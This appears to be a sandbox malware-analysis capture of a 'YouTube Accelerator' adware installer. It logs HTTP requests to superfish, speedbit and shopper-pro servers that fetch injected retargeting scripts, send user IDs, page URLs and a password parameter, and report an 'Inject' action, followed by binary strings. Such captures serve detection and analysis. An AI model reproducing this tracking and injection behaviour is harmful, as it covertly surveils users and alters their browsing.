User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Content-Type: application/x-x509-ca-cert

Last-Modified: Thu, 22 Jan 2015 02:19:39 GMT

Accept-Ranges: bytes

ETag: "802facdfe935d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 867

Date: Tue, 10 Feb 2015 04:02:37 GMT

Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Thu, 22 Jan 2015 02:19:39 GMT.
.Accept-Ranges: bytes..ETag: "802facdfe935d01:0"..Server: Microsoft-II
S/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Tue, 10 Feb 2
015 04:02:37 GMT..Connection: keep-alive..0.._0..G.............!XS..0.
..*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign
1.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Glob
alSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*
.H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R.
..Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&<<< skipped >>>

GET /ws/sf_preloader.jsp?dlsource=viktczu&userId=e5f8ccfa064a4525b9099b89e346b6d9&partnername=ShopperPro&CTID=xUSIF2Awsmtycl&ver=2015.2.9.16.26 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:24 GMT

Content-Type: text/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=1F1FD824ECF1FC900DB9B08EE08642BE; Path=/ws

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public, max-age=2592000

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a...............z#7.6..~...,...,.:..e..Z..=].>......jo.L.)%....D
.T.coe..U........L.2)U....G.L[.@ ....@ ......J.yo....b......^t..G.utz.
U.".J........IQ.Et.....}R..$...i..... K....Ud..*.."Y.E.2.bPy.KmN....7.
....dr...L....H...:{...]&e...:gU...M.......d..W.i..\..b....t'.........
Y..=.Y.`....}.}..;d..j...[..M;..rH.%.a>J~....|..'.U]....G..........
6ow...R..r.....y.._..c...^=.eR.#..".W....l/[email protected]...!..M.9MJgi..
.".-.U._Vi.*I)M.J..._ .......F..p?..(...?...a.kz..c...[.7...q.\&.(.[R.
.u.O.....OE....=...Uu..L..,.L..>..m.|......Hd..M..:z5.`....h....u{Z
U........_...0..\..U../)............_.......W.........d...A..H=.."..f,
X.x/..EC;..X...b?M..jY....\d"....o..(..0.2.t......ds...@.[..I>..{..
..]eN6.. .no..,.G.HJV..."K...-.z..7..^..:.bF.G...E.....M..".h.X..._...
.N.Gfok..,9...s.....N..?.;.._.E....\.....y.S.2...........5.`.........{
.h/.....{.E...Rr..........T..^./.x.y3.....e..Q....-a..&k...a$..d .m8..
...~.e..hZ.4.....d..%......_*.t._%/.i6...o..V?>lQ<&...#j........
..#..S.Fot.{..&.F....4=e..\..X../../.,...^.L2....!.]%.f...@.....:lObov
$-...U.....f.]y.y.L..2.N.O ..yW'.Ek.e..6.o.{pp.%t*}'[email protected]..
.z.R(.R..N.-2.......MG.Y..L.aK...%Y.ttk.g.6B........a....."....MM.....
<....6d..tTMQn..&.dJ#b.p ..5.Y^....gs[v...[MS(."..-"..f.....E...l.%
..Z.u.........V.....15.".....<....B.!.:....6H...M..M...d.......?I*.
..o......z[SL.[;g.....8...T#l.].a...Fd.q.[F..u.......[..{.....=.......
6t.Q.oI....`,a.X}.`.Mz0.t?..../:8..\....R.M2...y...-..V..xG..5 ..l....
....a.?......O...}..Nta..s....Qs.Vh.iV.f...'.4T.B.[u.6N.D.Bb......<<< skipped >>>

GET /ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.9.16.26 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: JSESSIONID=FE82D4ADDFA6675507A87EC7A2F1A379; Path=/ws

P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public, max-age=2592000

Access-Control-Allow-Origin: *

clientCountry: UA

Content-Encoding: gzip
2c0c.............].s.........B..P...}..2...Hx.-G..\....,..@,..L)......
y.,H)..;&...y...k.{f..........iq...=...~......O...W.yQ......W...~;.=..
.r..w.......u.[...;..~19./.ry.............\.....xQ..........|.k3..)N..
.8].'.....c1.,..m..-g.........(..e...r.,....r..Y...YQ...-tu4.\-...b.9.
....x6Z...t.....l..:...T,....$..O...f/..ZV.../......[.._....t..4..l.n6
?........7.8.H.5...r6.....yyU.(.................!..y}ws.ao....6.].....
....{.o..}..*(0....i1.z.8<<,.X.i.W....6lM~.f..|r......[.b:.W_..F
.i9.....G....z....,..G.... .....{.k.]\U.i}5...1.ix.(O......j....^..J@.
..Y|.J.!.N.7.3>....~X~:^..../../.9.~.t6n.//A.... a<=~6z...G'O..N
.....{....Y...F{............h.V..;0............/.!..r~V.K.h..H..j6....
.....pw........vww..'...\<.... ..7.L....t........%.!.`.^...|...[-1.
.*.............>.@.........<...E..........._.............PA..{..
..lr... .)....}...6..O..Z.Q<Y.....x.U......5.../..H.H,.....).:.ZWs.
ut.....Un.v.W..s..........E}Y...Ygs..c.}...V2.G_wQ.W.....Jv%...N,..~#2
../..y..W....S.V`P..f...e5.....zY....P..\...U.x.....NS`1~qK;...../....
[....Y....Sq......j.9...3...`p[.T.k.i.!..,..V.^.0#.f.r.Ap.T..iA..t ..M
.T ........h.M........1.-...?.V....L..[......y9y.l.&..B......u./@....@
.#j4uqO&....R.`..an...w..|< j#N...x...1.uw..c..."....YD.;;.?/. K...
.@u:X.|.Oi...(....O.S.!.. .U..Y......_.R].z..`..z2............]q...d..
.5.....v.....|....v.I....@..((...(..Y........n..nR..-K.. .. U.h`.....5
. *...gL?.8...jQ..#.#..z..R........F.m-Lyh:./.jB.......Q...4.KQ....`..
54~.ya..s...P...qa......O....d.<.8k.....}..Ef.^.Y...k(<..AV.<<< skipped >>>

GET /ws/getUD.action?dlsource=viktczu&userId=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&ver=15.2.8 HTTP/1.1

Accept: */*

Referer: hXXp://VVV.superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.9.16.26

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive

Cookie: JSESSIONID=FE82D4ADDFA6675507A87EC7A2F1A379


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Type: application/json;charset=UTF-8

Content-Length: 179

Connection: keep-alive

Content-Encoding: gzip

Expires: Tue, 10 Feb 2015 08:00:25 GMT

Cache-Control: max-age=14400

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

clientCountry: UA

Access-Control-Allow-Origin: *
..........e....0...w.s.I...7O".E.,m~JiHJ..P.....x.....!......b.z.. O..
.bP..Sc..vG'.....W.l...M.]...d`.=.^..<zu.]..].........|.N..S`..0...
'..2.F5.e...V.D. .I.h...i.J-...X..........HTTP/1.1 200 OK..Server: ngi
nx..Date: Tue, 10 Feb 2015 04:00:25 GMT..Content-Type: application/jso
n;charset=UTF-8..Content-Length: 179..Connection: keep-alive..Content-
Encoding: gzip..Expires: Tue, 10 Feb 2015 08:00:25 GMT..Cache-Control:
 max-age=14400..Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT..Cache-Con
trol: public..clientCountry: UA..Access-Control-Allow-Origin: *.......
.....e....0...w.s.I...7O".E.,m~JiHJ..P.....x.....!......b.z.. O...bP..
Sc..vG'.....W.l...M.]...d`.=.^..<zu.]..].........|.N..S`..0...'..2.
F5.e...V.D. .I.h...i.J-...X..............


GET /ws/tu.action?userId=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&referrer=&page_url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&page_title=Thank you for Installing YouTube Accelerator HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Type: text/javascript;charset=UTF-8

Content-Length: 14

Connection: keep-alive

Set-Cookie: JSESSIONID=EAE5BCDFB9300608EEE60F349A1DE60B; Path=/ws

clientCountry: UA

Access-Control-Allow-Origin: *
(.{ r : 0 } );HTTP/1.1 200 OK..Server: nginx..Date: Tue, 10 Feb 2015 0
4:00:25 GMT..Content-Type: text/javascript;charset=UTF-8..Content-Leng
th: 14..Connection: keep-alive..Set-Cookie: JSESSIONID=EAE5BCDFB930060
8EEE60F349A1DE60B; Path=/ws..clientCountry: UA..Access-Control-Allow-O
rigin: *..(.{ r : 0 } );....


GET /ws/side_slider/main.js?ver=2015.2.9.16.26 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:26 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 09 Feb 2015 12:56:19 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:26 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
d2d.............Zmo.6.......4.........u.....K.....n..J\.....%.....33$E
.............<3.2X.y..E..?......>F.w.....#<..Y..M.e.o*9.VQV.]
z]....4O.....s~.....J#bz..m....m..<.e.Q....."..............;f......
..9.?X.Y....r........Xb...w#..Z.z...T ....X..._.ygM.d...Q..........;QP
....f.*..9..*.....<V^e(......-.V...k.....(.UuL..C..u....>OE....(
.,..."i...G..R.0.....vq.S.#..R..*..3...K6.......j....:d......R. O?.y~.
|....{?...^.....a.U...p...;.l..........G..<wh..AY.%.8,.'..F...6..."
J7).Rj..m.fpyU.....o....2 p....X.. }..[0..X....tc5.f*.n..E.....s..j.a 
j..,._5.B...R>ce...SRj.K...U......i.|r.i.*..#@[email protected]..$.y....B
._.....Z.s.p.X..][email protected]..&m........Q.....L."[email protected],....f.e....
Ax>.<.........."&.B7.D.S[..:;XMkrD...).q..S...4m.........iB..n.M
.....y...q....N.&........ ........VF....v.o..|..y/.\.x`.'.`%)...;..S..
so].U...( .U...$2.....H..^:8....&....~...>W..pqa..p.9....Jp.R......
....!..g...X.......\....&..x3. ....s.u..$.M.'.M..1.*!x5E\[email protected]..
.............z..H'.y...~.....d0..9.*...l..=[....(...&D.............(V.
S.......o..<.NwQxp.v~...SE7..z......7.(s..X......FI...`y...}.a.C..P
.......x..J..uZ..|D{. [email protected]...,j=...1h.9......U..G1%.EI..9V...H
.|.....wb.O.K......@..}.*.<..d ...........3NK..B..0gg..w..w.."Z..;.
p{.EI..y..gQM...j:.y..."...aT...#h.T.xe...\.p.,.....(E...[..........u.
...........fx.mP..a...l...B".A.bqL...H........D#V..c2T..R/..........(e
.>..!..&d.9..5.._....q?.....\..F*....'X..........2..:...T.zs.......
:..3............/^...g.wn.X...=,...[Z...}...d*S.N....j....Q.,.,.?.<<< skipped >>>

GET /ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:28 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Wed, 10 Jun 2015 04:00:28 GMT

Cache-Control: max-age=10368000

Last-Modified: Sat, 1 Jan 2011 00:00:00 GMT

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
600a..............Ys#G...W..p.......=.K..9.......)[email protected]@............
...q.M*.*.k....=..?......e.Z..r.......`^.g.._.N.E./.?.......i.n..t....
?}.....>}.....i]...&[_.......4.6i>....a.....t.}... .q.#...Y9....
M....=...?~.<..t.....;....x...Y..GY....[.....0.A:...r..H...X...o..2
{,..O`?".4H....r....f..r.....!.... .\..).F|.w~..,...y......u.i9.x..@..
4/G.Sv.o.=.n^&'`4.b9.N..8].X...K..M..'......r]../.=`..E9.%.8.O...6Z...
.e.......y.Z..z.z..l.Hj.....3P..^......'.%gO..u.Y......M.7.........!..
.4..6..(..l..J..............~...AYl..zZ.\..x.D.".}...zS..K.!N...s.uI.N
.....5L.U...*y..... ....b......l........Z'}=*....bd[]C..,.k?..\...M...
........l.)..<..V....X..Tf..|....mY=..........1.%;.....oPi..0.-.$..
=>..X..o/[email protected].&8. .Xd/..b.....P..0.X...i....K...._..CJN..
........|5..p.3{DMp.............p.A...j8[.\.....n.k.b..t.J...o....H..M
....j......._=..=T .C..jTLf.r..}{......1.M6[o.s^?.=...N=.k..=.<.p.V
.b.;W...s..3...........E....=.;J.G..p.1...l...q.n.!.$`..l..:u>.W..;
...y...Q...kL....v....^...2{..x.....GjV......2.n=.f..7...:...ug.U.9...
...g.3.urW.5.t...<d........  ;(H.....;.F.....,.KH.j..Y.2*..<._)Y
...TVe^..f....G^...ONw..*...f:.|../...W..6.'<LOl...x..I.S..e.......
I.B.:..Q..3..v...<.F..}5...x...H..U....X.D-E...C.t..C1..\J5^....t.&
lt;....'.h......$.s....h..x...(/.r..v#.n.bS.S.S.[...y>.n.e......`..
..U.......Jt.l...q....`[email protected][email protected].~..
.Q....T.>oP...=.2m..g..j.='....k..87589.hL.......i....X.c..X.u....m
...P....(]....*......f......*.Q-<....B.k.....t.<.r..J./...Z.<<< skipped >>>

GET /ws/retargeting/main.js?ver=2015.2.9.16.26 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:30 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 09 Feb 2015 12:56:20 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:30 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
769.............XMs.6.= 3...'.Q.......i.f.m.....<.."A..D..hY.......
E......9.".,..o.>..# .R..1.l.g..p...'.)c...}|.h.d....M.......wy...y
...1[..4..s%..|).k.....[..#...w1...H'.v.._.8.Z u}T.5xu...#k.d....V.u.0
 .E#..d.X.?T...:a9N.-.]..0d...b...#[email protected][.b.N..p.......;.j!J.4.3.`&.
.=g.C...M<..36.`.0"......ho...nM..\Y.........r......u..q....r..R..!
..RY........|6.-R).........................._.c.k..xo..S..)}|fD.......
v.<Z.LZNq.\\;...`.F..jm].7.`..K.~...'F/p..Em.H^..LF&.0.s..By.P&. {4
..0.v....%L..JQ#...`77@\X..z.b.......rq..._..'.B..^......9........e.6.
...:...'.#B..`.d...........Up.W.......F[..R.O.V.b.-d.f.;{l&.t......}..
.Ns...i....k...U.PI.TZ..qp.R......o..:H)...J....<u.k.....G..iZ.h>
;9......0(q..1..vt.s..V..........6Q..3.Bpy.k.v.2Pn......\.f...#6..3.h.
..w. ...,qh..By|*.[~...y.Y.[...g.>&.a%...k>.>.a......p....&&g
t;[email protected]...&.)7.....E.....|M,......J...q%...}c.<.tbf...-..}-.L...
;...4..r.........J.8Y........Oy.$.........T....&g.K[%mAq...h.....lDev&
A...R..^`\.y...-/.....U..e.`..'#H.P..:X.....;..oR..F|....z._.71Rwn.15A
.t=x..M.d@I...%..#..q1....=.....?#..t>[email protected]..?zD..v...].ti..P.:...Z
r.......j!<y,...WH.uj(.\OJ..;k..:U.M...l..../DaG...wEM...../......w
.D../....k:...(<>..=..=.m4].[..dH...~F.........zd.kA.<~.j.da.
..Q..4!O.z.d...(..pj.q...T.An..l.{B6..........(.i=..:9.yN.'b*.1s.[....
.....7.Lo......'.=4..7..6`r.=.....^..^.H.8[,.|..T...|b....K...........
{i.vHn....Vg:.;?.q1.;..;@/....7..[G"..5K.O.b..bu..I..7..S.!.p."....}.5
Uv.w............}...Y.s.].].:.#..]........<#l..pq..c...>.%.5<<< skipped >>>

GET /ws/retargeting/server_layer.html?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&CD_CTID=xUSIF2Awsmtycl&version=2015.2.9.16.26&pageUrl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://VVV.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=RankingModel000LT_control&tier1_curr_group=9&tier1_next_group=939&tier1_prev_group=975&tier2_bucket=&tier2_curr_group=830&tier2_next_group=400&tier2_prev_group=588 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:30 GMT

Content-Type: text/html

Content-Length: 169

Last-Modified: Mon, 09 Feb 2015 12:56:20 GMT

Connection: keep-alive

ETag: "54d8ae74-a9"

Expires: Fri, 06 Mar 2015 04:00:30 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Accept-Ranges: bytes
<!DOCTYPE html>..<html>..<head>..    <title>Re
targeting module server layer</title>..    <script src="serve
r_layer.js"></script>..</head>..<body>..</body
>..</html>......


GET /ws/retargeting/server_layer.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&CD_CTID=xUSIF2Awsmtycl&version=2015.2.9.16.26&pageUrl=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://VVV.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=RankingModel000LT_control&tier1_curr_group=9&tier1_next_group=939&tier1_prev_group=975&tier2_bucket=&tier2_curr_group=830&tier2_next_group=400&tier2_prev_group=588

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.superfish.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:30 GMT

Content-Type: application/x-javascript

Last-Modified: Mon, 09 Feb 2015 12:56:20 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Expires: Fri, 06 Mar 2015 04:00:30 GMT

Cache-Control: max-age=2073600

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
10ec.............[ms.6.....?..^)..e;i{...$N_|Mj....F.ih...P........{v.
....v.....?X$.,..}..*...Q...(...T.W"...E.......?......0.......P...(...
w...|_5.e......h~".,.b..\.M..x...v...(K.2LK9B....Du.f3.....B.y......#.
..............4\....$...3.:..'azI.;.y.l..q.(VI..*aEs..;...U.Ga.g..7[..
=......Q .y..8.f.A8.~.%..e\."...L.....1..o!."....^9.. Jb.{%...lU.<.
.l}.<.z.0)..;..A.X?.|..:0(.0.3.w..c. ..Z....D...g .....,=j..!1..>
;..~ .e...M..?..."N.|.g.UT.......e..Wa.N....N.~..2.$..u_a....}.:....&K
....)x..4..0..-.mh.......G..y.]."/..A....Yo_2.2...Z.r?.$'...kP.....;.s
...Z.5..../c..L.X....o....=v...o0(OQ..!N.S=.%.KX.S.A......\.k%.h=y8..a
..z`.....y.......y..)..$*..;,....a..Z....?...o.G.,g..=$.8L...;.q..}...
o{.y..X...<HDzY......b.......cY..<X.l......v..n..xY...q...^."..;
.........5.O...5.-.......!.4.\#HD2.GO......I1...........<!?}d..>
......(Wyj.J....'....9n.:.0..].h.}.U...G..%..-.a...Qr3.H.A.>..(...;
.V$..v...q....5.T.d....^.j.`.....J-.&...H.H...R.~....,.$5..A.b...)."..
..6:.f'#(%..gi.Wd.r.n..4..z/`^......y.X.......[.......zc....C.........
.....=j.GZ..-#S.G.<.\..jY.I.........V.#.kw...;i........s;....P.....
t...W.....O..*,...=xD..te.........m....m`..[Jk-...N............9~.n.d.
..b..7..a..G...l;.6.m..O.Z.oXF.\.s7lbO....K0.....Q4.....%e.(...D.?.v..
......$......i.......=.CD#n.]..t......(..1.v.f.........C.*............
..eNZ.`-S.wm.5 ...Fc9C...<B4....."bD.Fh[..-.al.....h..DE......../..
E....4Z......`B2=.T..d.5.n..D...f....D..A.$....Lit.\..f.<.KB....1..
>..m...W....BK6H.[.6' ..2....C."...z)...#;.E]........^..."...j.<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=e5482312-2be3-46f2-b003-7761c59feba2&Password=oP5QhnYw&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1423540766&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=44updc551dd2ef452m44qje2


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Date: Tue, 10 Feb 2015 03:59:24 GMT

Connection: close
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=PriceGong_DealPly HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:35 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:35 GMT..Content-Length: 0..

The Application connects to the servers at the folowing location(s):

jsdrv.exe_1724:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PSh@u

j.hHc

j.hX"

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

